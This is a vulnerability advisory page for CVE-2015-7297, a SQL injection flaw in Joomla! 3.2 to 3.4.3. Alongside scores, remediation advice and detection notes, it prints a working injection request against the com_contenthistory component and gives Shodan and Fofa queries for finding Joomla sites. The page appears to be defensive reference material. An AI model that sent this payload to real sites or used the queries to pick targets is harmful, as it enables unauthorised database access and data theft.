🔙 목록으로 돌아가기

CVE-2015-7297: Joomla! Core SQL Injection

TitleJoomla! Core SQL Injection
Authorprincechaddha
SeverityHigh
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the Joomla! CMS.
RemediationApply the latest security patches and updates provided by Joomla! to mitigate the SQL Injection vulnerability.
CVSS Score7.5
EPSS Score0.93328
CVE IDCVE-2015-7297
CWE IDCWE-89
Shodan Queryhttp.html:"joomla! - open source content management"http.component:"joomla"cpe:"cpe:2.3:a:joomla:joomla\!"
Fofa Querybody="joomla! - open source content management"
Tags cve2015 cve packetstorm joomla sqli vuln

🔍 Vulnerability Description

A SQL injection vulnerability in Joomla! 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands.

🌐 HTTP Request

GET /index.php?option=com_contenthistory&view=history&list[ordering]&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5(7135)),1) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-7297.yaml

🦈 Packet Capture: ⬇️ Download cve-2015-7297.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A